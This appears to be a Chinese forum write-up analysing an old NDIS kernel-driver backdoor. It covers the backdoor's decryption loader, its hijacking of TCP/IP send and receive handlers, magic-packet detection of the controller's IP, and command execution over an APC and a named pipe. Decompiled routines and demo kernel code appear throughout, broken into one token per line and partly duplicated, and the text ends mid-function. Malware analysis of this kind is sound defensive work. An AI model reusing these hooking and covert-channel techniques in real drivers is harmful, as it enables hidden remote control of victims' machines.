-
-
[分享]基于ndis 的驱动后门分析
-
发表于: 2023-6-19 16:25 8642
-
前言
十年前的老样本总算梳理清楚了关键流程,趁有时间记录,分享一下。该样本是一个后门程序,通过劫持tcp/ip协议驱动的相关接口来实现网络通道的隐藏;使用用户模式apc加命名管道执行cmd,整个过程不需要单独的用户层程序协助。
1).样本名称:avcnet.sys
2).md5:42f43edc9937e4aa5f985773f5ea9daa
3).是否加壳:没有(会内存解密载荷,再执行)
4).系统:32位
1).内存释放驱动,并调用入口函数
2).注册ndis protocol driver 来获取tcp/ip 协议驱动的关键数据结构NDIS_HANDLE
3).对tcp/ip 协议驱动的receive/send等处理函数进行替换
4).等待控制端发送的特殊数据包并处理
5).通过apc执行cmd命令并回收结果
6).其他
1).驱动外层是个加载器,通过自定义的算法进行解密,然后在内存中加载真正的驱动文件。解密函数如下:
之后拿到解密的文件就可以静态分析。
2).通过注册协议驱动来获取tcp/ip协议驱动的关键数据结构。由于NDIS_HANDLE 数据结构是未公开的,也就是说在不同版本的系统上一些数据字段的偏移不能保证一致。填充好相关数据结果,调用NdisRegisterProtocol,成功后就会返回一个协议驱动实例句柄(指向一个数据结构包含其关键信息,其中有一个字段是_LIST_ENTRY);内核里面许多数据结构使用_LIST_EBTRY来链接起来,协议驱动也是这样的,通过这个结构来遍历得到目标tcp/ip的实例句柄。
下面以win7 32版本来模拟这一过程,demo如下:
demo效果如下图:
3).找到tcp/ip协议驱动的实例句柄之后,对该数据结构中的关键函数进行替换。如下图:
成功替换receive/send相关函数之后,相对于在驱动中建立了网络通道,整个通信过程都在。
4).通过之前替换的receive函数对网络数据进行判断,从特定的包中确定控制端ip。下面通过汇编代码结合wireshark来分析其是如何确定控制端ip的:
首先,打开wireshark抓包看看相关数据特征:
上面有部分是带ACK/FIN字段的,后面显示Len=0,表示没有数据;只有ethernet,ip,tcp 报头。找一个有数据的看看:
ip heaer,关键字段有版本号,ip 报头长度,总长度(ip header+tcp header+data),协议号,源地址,目标地址;如下图所示:
tcp header,关键字段有源端口号,目的端口号,载荷数据长度,序列号等,如下图所示:
有了上面的非结构化数据作为参考,对照着看汇编代码太长,看f5后的就好理解:
5).cmd的执行是通过插入用户模式的apc到winlogon.exe进程中,然后通过命名管道读取回显。用户模式的apc使用,就是常规的线程选择,内存申请,写入(映射)shellcode。主要是它读取回显的方式比较新颖,之前一直是在用户层使用命名管道来实现进程间的通信,它这个实现了驱动与进程之间的通信。以下示例demo演示了驱动中使用命名管道的方法:
6).其他主要是一些文件,注册表等操作。
通过对这个样本的分析还是有不少收获,对ndis协议驱动、tcp/ip协议的关键字段、驱动中使用命名管道等有进一步认识。
参考:
1,https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/ndis/ns-ndis-_ndis_protocol_driver_characteristics
2,https://www.virustotal.com/gui/file/8bade22161bf71a49955a66ec69809affbd2dde09dc84b94ede57e0d027e82e4/details
ps:
解压密码:infected
unsigned
int
__usercall decode@<eax>(unsigned
int
*
a1@<edx>,
int
a2@<esi>)
{
unsigned
int
v2;
/
/
ecx
unsigned
int
result;
/
/
eax
int
v4;
/
/
edi
unsigned
int
v5;
/
/
ebx
unsigned
int
v6;
/
/
[esp
+
8h
] [ebp
-
4h
]
v2
=
*
a1;
result
=
a1[
1
];
v6
=
-
957401312
;
do
{
v4
=
*
(_DWORD
*
)(a2
+
4
*
((v6 >>
11
) &
3
))
+
((
16
*
v2) ^ (v2 >>
5
));
v5
=
v6;
v6
+
=
1640531527
;
result
-
=
(v2 ^ v5)
+
v4;
v2
-
=
(result ^ v6)
+
*
(_DWORD
*
)(a2
+
4
*
(v6 &
3
))
+
((
16
*
result) ^ (result >>
5
));
}
while
( v6 );
*
a1
=
v2;
a1[
1
]
=
result;
return
result;
}
unsigned
int
__usercall decode@<eax>(unsigned
int
*
a1@<edx>,
int
a2@<esi>)
{
unsigned
int
v2;
/
/
ecx
unsigned
int
result;
/
/
eax
int
v4;
/
/
edi
unsigned
int
v5;
/
/
ebx
unsigned
int
v6;
/
/
[esp
+
8h
] [ebp
-
4h
]
v2
=
*
a1;
result
=
a1[
1
];
v6
=
-
957401312
;
do
{
v4
=
*
(_DWORD
*
)(a2
+
4
*
((v6 >>
11
) &
3
))
+
((
16
*
v2) ^ (v2 >>
5
));
v5
=
v6;
v6
+
=
1640531527
;
result
-
=
(v2 ^ v5)
+
v4;
v2
-
=
(result ^ v6)
+
*
(_DWORD
*
)(a2
+
4
*
(v6 &
3
))
+
((
16
*
result) ^ (result >>
5
));
}
while
( v6 );
*
a1
=
v2;
a1[
1
]
=
result;
return
result;
}
/
*
只在win7
32
sp1 上测试有效,其他系统版本可能因为内部数据结构差异,存在问题.
具体的系统版本数据结构详细,可以参看NdisRegisterProtocol的内部实现
*
/
VOID mBindAdapterHandler(PNDIS_STATUS status,NDIS_HANDLE BindContext,PUNICODE_STRING DeviceName,PVOID SystemSpecific1,PVOID SystemSpecific2)
{
}
VOID mUnbindAdapterHandler(PNDIS_HANDLER,NDIS_HANDLE,NDIS_HANDLE)
{
}
NTSTATUS mReceiveHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_HANDLE MacReceiveContext,PVOID HeaderBuffer,
UINT HeaderBufferSize,PVOID LookAheadBuffer,UINT LookaheadBufferSize,UINT PacketSize)
{
}
VOID mCloseAdapterCompleteHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_STATUS status)
{
}
VOID mOpenAdapterCompleteHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_STATUS Status,NDIS_STATUS OpenErrorStatus)
{
}
VOID mRequestCompleteHandler(NDIS_HANDLE ProtocolBindingContext,PNDIS_REQUEST NdisRequest,NDIS_STATUS Status)
{
}
VOID mResetCompleteHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_STATUS Status)
{
}
VOID mStatusHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_STATUS GeneralStatus,PVOID StatusBuffer,UINT statusBufferSize)
{
}
VOID mStatusCompleteHandler(NDIS_HANDLE ProtocolBindingContext)
{
}
PNDIS_HANDLE EnumRegisteredProtocol()
{
ULONG index
=
0
;
UNICODE_STRING DestinationString;
NDIS_HANDLE NdisProtocolHandle,temp
=
NULL;
NDIS_STATUS status;
NDIS_PROTOCOL_CHARACTERISTICS ProtocolCharacteristics;
PVOID funcs[
13
];
/
*
RECEIVE_PACKET_HANDLER ReceivePacketHandler;
BIND_HANDLER mBindHandler;
UNBIND_HANDLER mUnbindHandler;
PNP_EVENT_HANDLER PnpEventHandler;
UNLOAD_PROTOCOL_HANDLER mUnloadhanler;
PVOID ReservedHandler[
4
];
CO_SEND_COMPLETE_HANDLER mCoSendCompleteHandler;
CO_STATUS_HANDLER mCoStatusHandler;
CO_RECEIVE_PACKET_HANDLER mCoReceivePacketHandler;
CO_AF_REGISTER_NOTIFY_HANDLER mCoAfRegisterNotifyHandler;
*
/
status
=
STATUS_SUCCESS;
NdisProtocolHandle
=
NULL;
memset(&ProtocolCharacteristics,
0
,
0x6c
);
RtlInitUnicodeString(&ProtocolCharacteristics.Name,KAPERSKY);
ProtocolCharacteristics.MajorNdisVersion
=
0x5
;
ProtocolCharacteristics.MinorNdisVersion
=
0x0
;
/
/
ProtocolCharacteristics.Name.Length
=
DestinationString.Length;
/
/
ProtocolCharacteristics.Name.
Buffer
=
DestinationString.
Buffer
;
ProtocolCharacteristics.BindAdapterHandler
=
mBindAdapterHandler;
ProtocolCharacteristics.UnbindAdapterHandler
=
mUnbindAdapterHandler;
ProtocolCharacteristics.ReceiveHandler
=
mReceiveHandler;
ProtocolCharacteristics.CloseAdapterCompleteHandler
=
mCloseAdapterCompleteHandler;
ProtocolCharacteristics.OpenAdapterCompleteHandler
=
mOpenAdapterCompleteHandler;
ProtocolCharacteristics.RequestCompleteHandler
=
mRequestCompleteHandler;
ProtocolCharacteristics.StatusHandler
=
mStatusHandler;
ProtocolCharacteristics.StatusCompleteHandler
=
mStatusCompleteHandler;
/
/
*
(BIND_HANDLER
*
)((ULONG)&ProtocolCharacteristics
+
0x38
+
0x4
)
=
mBindAdapterHandler;
/
/
*
(UNBIND_HANDLER
*
)((ULONG)&ProtocolCharacteristics
+
0x38
+
0x8
)
=
mUnbindAdapterHandler;
NdisRegisterProtocol(&status,&NdisProtocolHandle,&ProtocolCharacteristics,
0x6c
);
if
(STATUS_SUCCESS
=
=
status)
{
/
/
KdPrint((
"addr of ProtocolCharacteristics.MajorVersion is 0x%x\n"
,ProtocolCharacteristics.MajorNdisVersion));
KdPrint((
"begin to enum the ndisProtocolList.\n"
));
if
(NdisProtocolHandle!
=
NULL)
{
temp
=
NdisProtocolHandle;
do
{
KdPrint((
"ProtocolDriverHandle is 0x%x ProtocolName is %wZ\n"
,(ULONG)temp,(PUNICODE_STRING)((ULONG)temp
+
0x24
)));
/
/
KdPrint((
"data NdisProtocolHandle+0x8 0x%x\n"
,
*
(ULONG
*
)((ULONG)NdisProtocolHandle
+
0x8
)));
temp
=
(NDIS_HANDLE)
*
(ULONG
*
)((ULONG)temp
+
0x8
);
/
/
下一个ProtocolHandle
if
(temp
=
=
NULL)
KdPrint((
"ndisProtocolList is a SingleLinkedList!\n"
));
}
while
(temp!
=
NULL&&temp!
=
NdisProtocolHandle);
NdisDeregisterProtocol(&status,NdisProtocolHandle);
/
/
注销协议
}
}
else
{
KdPrint((
"RegisterProtocol fails,error is 0x%x\n"
,status));
}
return
NULL;
}
/
*
只在win7
32
sp1 上测试有效,其他系统版本可能因为内部数据结构差异,存在问题.
具体的系统版本数据结构详细,可以参看NdisRegisterProtocol的内部实现
*
/
VOID mBindAdapterHandler(PNDIS_STATUS status,NDIS_HANDLE BindContext,PUNICODE_STRING DeviceName,PVOID SystemSpecific1,PVOID SystemSpecific2)
{
}
VOID mUnbindAdapterHandler(PNDIS_HANDLER,NDIS_HANDLE,NDIS_HANDLE)
{
}
NTSTATUS mReceiveHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_HANDLE MacReceiveContext,PVOID HeaderBuffer,
UINT HeaderBufferSize,PVOID LookAheadBuffer,UINT LookaheadBufferSize,UINT PacketSize)
{
}
VOID mCloseAdapterCompleteHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_STATUS status)
{
}
VOID mOpenAdapterCompleteHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_STATUS Status,NDIS_STATUS OpenErrorStatus)
{
}
VOID mRequestCompleteHandler(NDIS_HANDLE ProtocolBindingContext,PNDIS_REQUEST NdisRequest,NDIS_STATUS Status)
{
}
VOID mResetCompleteHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_STATUS Status)
{
}
VOID mStatusHandler(NDIS_HANDLE ProtocolBindingContext,NDIS_STATUS GeneralStatus,PVOID StatusBuffer,UINT statusBufferSize)
{
}
VOID mStatusCompleteHandler(NDIS_HANDLE ProtocolBindingContext)
{
}
PNDIS_HANDLE EnumRegisteredProtocol()
{
ULONG index
=
0
;
UNICODE_STRING DestinationString;
NDIS_HANDLE NdisProtocolHandle,temp
=
NULL;
NDIS_STATUS status;
NDIS_PROTOCOL_CHARACTERISTICS ProtocolCharacteristics;
PVOID funcs[
13
];
/
*
RECEIVE_PACKET_HANDLER ReceivePacketHandler;
BIND_HANDLER mBindHandler;
UNBIND_HANDLER mUnbindHandler;
PNP_EVENT_HANDLER PnpEventHandler;
UNLOAD_PROTOCOL_HANDLER mUnloadhanler;
PVOID ReservedHandler[
4
];
CO_SEND_COMPLETE_HANDLER mCoSendCompleteHandler;
CO_STATUS_HANDLER mCoStatusHandler;
CO_RECEIVE_PACKET_HANDLER mCoReceivePacketHandler;
CO_AF_REGISTER_NOTIFY_HANDLER mCoAfRegisterNotifyHandler;
*
/
status
=
STATUS_SUCCESS;
NdisProtocolHandle
=
NULL;
memset(&ProtocolCharacteristics,
0
,
0x6c
);
RtlInitUnicodeString(&ProtocolCharacteristics.Name,KAPERSKY);
ProtocolCharacteristics.MajorNdisVersion
=
0x5
;
ProtocolCharacteristics.MinorNdisVersion
=
0x0
;
/
/
ProtocolCharacteristics.Name.Length
=
DestinationString.Length;
/
/
ProtocolCharacteristics.Name.
Buffer
=
DestinationString.
Buffer
;
ProtocolCharacteristics.BindAdapterHandler
=
mBindAdapterHandler;
ProtocolCharacteristics.UnbindAdapterHandler
=
mUnbindAdapterHandler;
ProtocolCharacteristics.ReceiveHandler
=
mReceiveHandler;
ProtocolCharacteristics.CloseAdapterCompleteHandler
=
mCloseAdapterCompleteHandler;
ProtocolCharacteristics.OpenAdapterCompleteHandler
=
mOpenAdapterCompleteHandler;
ProtocolCharacteristics.RequestCompleteHandler
=
mRequestCompleteHandler;
ProtocolCharacteristics.StatusHandler
=
mStatusHandler;
ProtocolCharacteristics.StatusCompleteHandler
=
mStatusCompleteHandler;
/
/
*
(BIND_HANDLER
*
)((ULONG)&ProtocolCharacteristics
+
0x38
+
0x4
)
=
mBindAdapterHandler;
/
/
*
(UNBIND_HANDLER
*
)((ULONG)&ProtocolCharacteristics
+
0x38
+
0x8
)
=
mUnbindAdapterHandler;
NdisRegisterProtocol(&status,&NdisProtocolHandle,&ProtocolCharacteristics,
0x6c
);
if
(STATUS_SUCCESS
=
=
status)
{
/
/
KdPrint((
"addr of ProtocolCharacteristics.MajorVersion is 0x%x\n"
,ProtocolCharacteristics.MajorNdisVersion));
KdPrint((
"begin to enum the ndisProtocolList.\n"
));
if
(NdisProtocolHandle!
=
NULL)
{
temp
=
NdisProtocolHandle;
do
{
KdPrint((
"ProtocolDriverHandle is 0x%x ProtocolName is %wZ\n"
,(ULONG)temp,(PUNICODE_STRING)((ULONG)temp
+
0x24
)));
/
/
KdPrint((
"data NdisProtocolHandle+0x8 0x%x\n"
,
*
(ULONG
*
)((ULONG)NdisProtocolHandle
+
0x8
)));
temp
=
(NDIS_HANDLE)
*
(ULONG
*
)((ULONG)temp
+
0x8
);
/
/
下一个ProtocolHandle
if
(temp
=
=
NULL)
KdPrint((
"ndisProtocolList is a SingleLinkedList!\n"
));
}
while
(temp!
=
NULL&&temp!
=
NdisProtocolHandle);
NdisDeregisterProtocol(&status,NdisProtocolHandle);
/
/
注销协议
}
}
else
{
KdPrint((
"RegisterProtocol fails,error is 0x%x\n"
,status));
}
return
NULL;
}
ethernet header 占
0xe
字节, 目标机器mac(
6
字节)
+
源机器mac(
6
字节)
+
type
(后续协议类型,
2
字节)。常见的
type
=
0x800
,表示 IPv4。
ethernet header 占
0xe
字节, 目标机器mac(
6
字节)
+
源机器mac(
6
字节)
+
type
(后续协议类型,
2
字节)。常见的
type
=
0x800
,表示 IPv4。
int
__usercall GetRemoteAddress@<eax>(
int
a1@<eax>, unsigned
int
a2@<ecx>)
{
int
v4;
/
/
edi
__int16 v5;
/
/
dx
int
v6;
/
/
ecx
int
v7;
/
/
edx
int
v8;
/
/
eax
_DWORD
*
v9;
/
/
eax
/
/
ip header 一般长度大于
0x14
,
20
个字节
/
/
检查 version,(
0x0100
),表示 IPv4
/
/
6
,表示协议号,指tcp协议
if
( a2 <
0x14
|| (
*
(_BYTE
*
)a1 &
0xF0
) !
=
64
||
*
(_BYTE
*
)(a1
+
9
) !
=
6
)
return
0
;
/
/
因为实在receive处理函数中接受到的数据,
/
/
所以本机相当于目的端,控制端的ip应该是从 源地址字段中取
v4
=
*
(_DWORD
*
)(a1
+
12
);
if
( v4 && v4
=
=
RemoteAddress )
return
0
;
HIBYTE(v5)
=
*
(_BYTE
*
)(a1
+
6
);
LOBYTE(v5)
=
*
(_BYTE
*
)(a1
+
7
);
/
/
检查Flags,
0x4000
,表示 Don't fragment
if
( (v5 &
0x3FFF
) !
=
0
&& (v5 &
0x1FFF
) !
=
0
)
return
0
;
v6
=
*
(_BYTE
*
)a1 &
0xF
;
v7
=
a1
+
4
*
v6;
v8
=
*
(unsigned __int8
*
)(v7
+
12
) >>
4
;
/
/
tcp 数据长度要大于
0x10
if
( a2
-
4
*
(v8
+
v6) <
0x10
)
return
0
;
/
/
获取tcp 数据偏移
v9
=
(_DWORD
*
)(v7
+
4
*
v8);
/
/
校验tcp 数据特征
if
( (
*
v9 ^ v9[
2
]) !
=
1168870401
|| (v9[
1
] ^ v9[
3
]) !
=
610279017
|| !v4 )
return
0
;
RemoteAddress
=
v4;
return
1
;
int
__usercall GetRemoteAddress@<eax>(
int
a1@<eax>, unsigned
int
a2@<ecx>)
{
int
v4;
/
/
edi
__int16 v5;
/
/
dx
int
v6;
/
/
ecx
int
v7;
/
/
edx
int
v8;
/
/
eax
_DWORD
*
v9;
/
/
eax
/
/
ip header 一般长度大于
0x14
,
20
个字节
/
/
检查 version,(
0x0100
),表示 IPv4
/
/
6
,表示协议号,指tcp协议
if
( a2 <
0x14
|| (
*
(_BYTE
*
)a1 &
0xF0
) !
=
64
||
*
(_BYTE
*
)(a1
+
9
) !
=
6
)
return
0
;
/
/
因为实在receive处理函数中接受到的数据,
/
/
所以本机相当于目的端,控制端的ip应该是从 源地址字段中取
v4
=
*
(_DWORD
*
)(a1
+
12
);
if
( v4 && v4
=
=
RemoteAddress )
return
0
;
HIBYTE(v5)
=
*
(_BYTE
*
)(a1
+
6
);
LOBYTE(v5)
=
*
(_BYTE
*
)(a1
+
7
);
/
/
检查Flags,
0x4000
,表示 Don't fragment
if
( (v5 &
0x3FFF
) !
=
0
&& (v5 &
0x1FFF
) !
=
0
)
return
0
;
v6
=
*
(_BYTE
*
)a1 &
0xF
;
v7
=
a1
+
4
*
v6;
v8
=
*
(unsigned __int8
*
)(v7
+
12
) >>
4
;
/
/
tcp 数据长度要大于
0x10
if
( a2
-
4
*
(v8
+
v6) <
0x10
)
return
0
;
/
/
获取tcp 数据偏移
v9
=
(_DWORD
*
)(v7
+
4
*
v8);
/
/
校验tcp 数据特征
if
( (
*
v9 ^ v9[
2
]) !
=
1168870401
|| (v9[
1
] ^ v9[
3
]) !
=
610279017
|| !v4 )
return
0
;
RemoteAddress
=
v4;
return
1
;
NTSTATUS CreateSecurityDescriptor(PVOID
*
SecurityDescriptor)
{
NTSTATUS status
=
STATUS_SUCCESS;
PVOID acl
=
NULL;
PVOID sd
=
NULL;
ULONG SdLen
=
0x1000
+
0x1000
;
SID owner
=
{
0
};
SID sid
=
{
0
};
acl
=
ExAllocatePoolWithTag(PagedPool,
0x1000
,
0x20646464
);
do
{
if
(acl)
{
owner.Revision
=
SID_REVISION;
owner.SubAuthorityCount
=
0x1
;
owner.IdentifierAuthority.Value[
0
]
=
owner.IdentifierAuthority.Value[
1
]
=
owner.IdentifierAuthority.Value[
2
]
=
owner.IdentifierAuthority.Value[
3
]
=
/
/
#define SECURITY_NT_AUTHORITY {0,0,0,0,0,5}
owner.IdentifierAuthority.Value[
4
]
=
0
;
owner.IdentifierAuthority.Value[
5
]
=
0x5
;
owner.SubAuthority[
0
]
=
0x12
;
/
/
#define SECURITY_LOCAL_SYSTEM_RID (0x00000012L)
sid.Revision
=
SID_REVISION;
sid.SubAuthorityCount
=
0x1
;
sid.IdentifierAuthority.Value[
0
]
=
sid.IdentifierAuthority.Value[
1
]
=
sid.IdentifierAuthority.Value[
2
]
=
sid.IdentifierAuthority.Value[
3
]
=
/
/
#define SECURITY_WORLD_SID_AUTHORITY {0,0,0,0,0,1}
sid.IdentifierAuthority.Value[
4
]
=
0
;
sid.IdentifierAuthority.Value[
5
]
=
1
;
sid.SubAuthority[
0
]
=
0x0
;
sd
=
ExAllocatePoolWithTag(
PagedPool,
0x1000
,
0x20646464
);
if
(sd)
{
status
=
RtlCreateAcl(
(PACL)acl,
0x1000
,
ACL_REVISION
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlCreateAcl fails,status:0x%x\n"
, status);
break
;
}
status
=
RtlAddAccessAllowedAce(
(PACL)acl,
ACL_REVISION,
0X1F01FF
,
&sid
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlAddAccessAllowedAce fails,status:0x%x\n"
, status);
break
;
}
/
/
init sd
memset(sd,
0
,
0x1000
);
status
=
RtlCreateSecurityDescriptor(
(PSECURITY_DESCRIPTOR)sd,
SECURITY_DESCRIPTOR_REVISION
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlCreateSecurityDescriptor fails,status:0x%x\n"
, status);
break
;
}
status
=
RtlSetOwnerSecurityDescriptor(
(PSECURITY_DESCRIPTOR)sd,
&owner,
FALSE
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlSetOwnerSecurityDescriptor fails,status:0x%x\n"
, status);
break
;
}
status
=
RtlValidSecurityDescriptor((PSECURITY_DESCRIPTOR)sd);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlValidSecurityDescriptor fails,status:0x%x\n"
, status);
break
;
}
*
SecurityDescriptor
=
ExAllocatePoolWithTag(
PagedPool,
0x1000
+
0x1000
,
0x20646464
);
if
(
*
SecurityDescriptor
=
=
NULL)
{
break
;
}
status
=
RtlAbsoluteToSelfRelativeSD(
(PSECURITY_DESCRIPTOR)sd,
*
SecurityDescriptor,
&SdLen
);
if
(NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]new sd is created!\n"
);
}
}
}
}
while
(FALSE);
if
(sd)
{
ExFreePool(sd);
}
if
(acl)
{
ExFreePool(acl);
}
return
status;
}
/
/
create named pipe
in
kernel
/
/
named pipe can be used
for
kernel
-
user communication
/
/
like it
is
used
in
internal process communication
WCHAR PipeNameString[]
=
L
"\\??\\pipe\\ddxpipe0"
;
CHAR PipeData[
0x20
]
=
"abc"
;
/
/
user
-
mode pipe data reader
/
/
VOID GetPipe()
/
/
{
/
/
CHAR data[
0x10
]
=
{
0
};
/
/
ULONG read
=
0
;
/
/
ULONG ToRead
=
3
;
/
/
HANDLE hPipe
=
CreateFileA(
"\\\\.\\pipe\\ddxpipe0"
,
/
/
GENERIC_READ,
/
/
FILE_SHARE_READ,
/
/
NULL,
/
/
OPEN_EXISTING,
/
/
FILE_ATTRIBUTE_NORMAL,
/
/
NULL);
/
/
/
/
if
(hPipe !
=
INVALID_HANDLE_VALUE)
/
/
{
/
/
printf(
"get pipe from user-mode!\n"
);
/
/
/
/
read data
from
pipe
/
/
do
/
/
{
/
/
ReadFile(
/
/
hPipe,
/
/
data,
/
/
ToRead,
/
/
&read,
/
/
NULL
/
/
);
/
/
/
/
if
(read >
0
)
/
/
{
/
/
printf(
"data:%s\n"
, data);
/
/
}
/
/
else
/
/
{
/
/
/
/
0x3e6
ERROR_NOACCESS
/
/
printf(
"read pipe fails,error:0x%x\n"
, GetLastError());
/
/
break
;
/
/
}
/
/
Sleep(
1000
);
/
/
ToRead
+
+
;
/
/
}
while
(TRUE && ToRead <
0x10
);
/
/
}
/
/
else
/
/
{
/
/
/
/
0xe7
ERROR_PIPE_BUSY
/
/
printf(
"get pipe failed,error:0x%x\n"
, GetLastError());
/
/
}
/
/
/
/
if
(hPipe)
/
/
{
/
/
CloseHandle(hPipe);
/
/
}
/
/
}
typedef struct _CREATE_PIPE_PARAMS {
ULONG num1;
ULONG num2;
ULONG num3;
ULONG num4;
ULONG num5;
ULONG num6;
LARGE_INTEGER Interval;
ULONG flag;
}CREATE_PIPE_PARAMS,
*
PCREATE_PIPE_PARAMS;
/
/
set
acl
for
the created named pipe
/
/
so it can be accessed
from
user
-
mode
/
/
/
/
RtlCreateAcl
VOID CreatePipe(PVOID context)
{
NTSTATUS status
=
STATUS_SUCCESS;
OBJECT_ATTRIBUTES ObjectAttributes
=
{
0
};
HANDLE hPipe
=
NULL;
UNICODE_STRING DestinationString
=
{
0
};
IO_STATUS_BLOCK IoStatusBlock
=
{
0
};
CREATE_PIPE_PARAMS CreatePipeParams
=
{
0
};
PVOID NormalSD
=
NULL;
LARGE_INTEGER interval
=
{
0
};
HANDLE hEvent
=
NULL;
/
/
init unicode_string
RtlInitUnicodeString(&DestinationString, (WCHAR
*
)context);
/
/
create normal sd
status
=
CreateSecurityDescriptor(&NormalSD);
InitializeObjectAttributes(&ObjectAttributes,
&DestinationString,
OBJ_CASE_INSENSITIVE,
NULL,
NormalSD);
/
/
init _CREATE_PIPE_PARAMS
CreatePipeParams.num1
=
CreatePipeParams.num2
=
CreatePipeParams.num3
=
0
;
CreatePipeParams.num4
=
0xffffffff
;
CreatePipeParams.num5
=
CreatePipeParams.num6
=
0x10000
;
CreatePipeParams.Interval.LowPart
=
0xff676980
;
CreatePipeParams.Interval.HighPart
=
0xffffffff
;
CreatePipeParams.flag
=
1
;
do
{
/
/
call IoCreateFile to create named pipe
status
=
IoCreateFile(
&hPipe,
0xc0100000
,
&ObjectAttributes,
&IoStatusBlock,
NULL,
0
,
FILE_SHARE_READ | FILE_SHARE_WRITE,
FILE_CREATE,
FILE_SYNCHRONOUS_IO_ALERT,
NULL,
0
,
CreateFileTypeNamedPipe,
/
/
named pipe
type
&CreatePipeParams,
0
);
if
(!NT_SUCCESS(status))
{
/
/
0xc0000022
/
/
STATUS_ACCESS_DENIED the pipe
is
existed!
/
/
DbgPrint(
"[CreateNamedPipe]IoCreateFile fails,status:0x%x\n"
, status);
break
;
}
DbgPrint(
"pipe %wZ is created!status:0x%x\n"
, &DestinationString, IoStatusBlock.Status);
/
/
/
/
we can use ZwReadFile
and
ZwWriteFile to manipulate the pipe
/
/
just like
in
user
-
mode
/
/
ZwFsControlFile will hang up the current thread
/
/
/
/
CONNECT THE NAMED PIPE
memset(&IoStatusBlock,
0
,sizeof(IO_STATUS_BLOCK));
status
=
ZwFsControlFile(
hPipe,
NULL,
NULL,
NULL,
&IoStatusBlock,
FSCTL_PIPE_LISTEN,
/
/
this makes the pipe working like socket
-
listening,waiting the connection.
/
/
if
connected,ZwFsControlFile will
return
immediately
NULL,
0
,
NULL,
0
);
DbgPrint(
"pipe is listening!\n"
);
if
(STATUS_PENDING
=
=
status)
{
DbgPrint(
"wait for pipe!\n"
);
interval.LowPart
=
0xff676980
;
interval.HighPart
=
0xffffffff
;
status
=
ZwWaitForSingleObject(
hPipe,
FALSE,
&interval
);
}
if
(!NT_SUCCESS(status))
{
/
/
0XC00000AD
/
/
STATUS_INVALID_PIPE_STATE
DbgPrint(
"ZwFsControlFile fails,status:0x%x\n"
, status);
break
;
}
/
/
create event
for
writing
InitializeObjectAttributes(&ObjectAttributes,
0
,
0
,
0
,
0
);
status
=
ZwCreateEvent(
&hEvent,
EVENT_ALL_ACCESS,
&ObjectAttributes,
SynchronizationEvent,
0
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"ZwCreateEvent fails,status:0x%x\n"
, status);
break
;
}
do
{
status
=
ZwWriteFile(
hPipe,
hEvent,
NULL,
NULL,
&IoStatusBlock,
PipeData,
(ULONG)strlen(PipeData),
NULL,
NULL
);
if
(NT_SUCCESS(status))
{
DbgPrint(
"data is written to pipe!\n"
);
}
else
{
/
/
0XC00000B1
STATUS_PIPE_CLOSING
DbgPrint(
"ZwWriteFile status:0x%x\n"
, status);
break
;
}
/
/
sleep a
while
KeDelayExecutionThread(
KernelMode,
TRUE,
&interval
);
/
/
strcat_s(PipeData,
0x20
,
"1"
);
}
while
(TRUE);
}
while
(FALSE);
/
/
close handle
if
(hPipe)
{
ZwClose(hPipe);
}
if
(hEvent)
{
ZwClose(hEvent);
}
PsTerminateSystemThread(STATUS_SUCCESS);
/
/
return
status;
}
NTSTATUS CreateSecurityDescriptor(PVOID
*
SecurityDescriptor)
{
NTSTATUS status
=
STATUS_SUCCESS;
PVOID acl
=
NULL;
PVOID sd
=
NULL;
ULONG SdLen
=
0x1000
+
0x1000
;
SID owner
=
{
0
};
SID sid
=
{
0
};
acl
=
ExAllocatePoolWithTag(PagedPool,
0x1000
,
0x20646464
);
do
{
if
(acl)
{
owner.Revision
=
SID_REVISION;
owner.SubAuthorityCount
=
0x1
;
owner.IdentifierAuthority.Value[
0
]
=
owner.IdentifierAuthority.Value[
1
]
=
owner.IdentifierAuthority.Value[
2
]
=
owner.IdentifierAuthority.Value[
3
]
=
/
/
#define SECURITY_NT_AUTHORITY {0,0,0,0,0,5}
owner.IdentifierAuthority.Value[
4
]
=
0
;
owner.IdentifierAuthority.Value[
5
]
=
0x5
;
owner.SubAuthority[
0
]
=
0x12
;
/
/
#define SECURITY_LOCAL_SYSTEM_RID (0x00000012L)
sid.Revision
=
SID_REVISION;
sid.SubAuthorityCount
=
0x1
;
sid.IdentifierAuthority.Value[
0
]
=
sid.IdentifierAuthority.Value[
1
]
=
sid.IdentifierAuthority.Value[
2
]
=
sid.IdentifierAuthority.Value[
3
]
=
/
/
#define SECURITY_WORLD_SID_AUTHORITY {0,0,0,0,0,1}
sid.IdentifierAuthority.Value[
4
]
=
0
;
sid.IdentifierAuthority.Value[
5
]
=
1
;
sid.SubAuthority[
0
]
=
0x0
;
sd
=
ExAllocatePoolWithTag(
PagedPool,
0x1000
,
0x20646464
);
if
(sd)
{
status
=
RtlCreateAcl(
(PACL)acl,
0x1000
,
ACL_REVISION
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlCreateAcl fails,status:0x%x\n"
, status);
break
;
}
status
=
RtlAddAccessAllowedAce(
(PACL)acl,
ACL_REVISION,
0X1F01FF
,
&sid
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlAddAccessAllowedAce fails,status:0x%x\n"
, status);
break
;
}
/
/
init sd
memset(sd,
0
,
0x1000
);
status
=
RtlCreateSecurityDescriptor(
(PSECURITY_DESCRIPTOR)sd,
SECURITY_DESCRIPTOR_REVISION
);
if
(!NT_SUCCESS(status))
{
DbgPrint(
"[Createsd]RtlCreateSecurityDescriptor fails,status:0x%x\n"
, status);
break
;
}
status
=
RtlSetOwnerSecurityDescriptor(
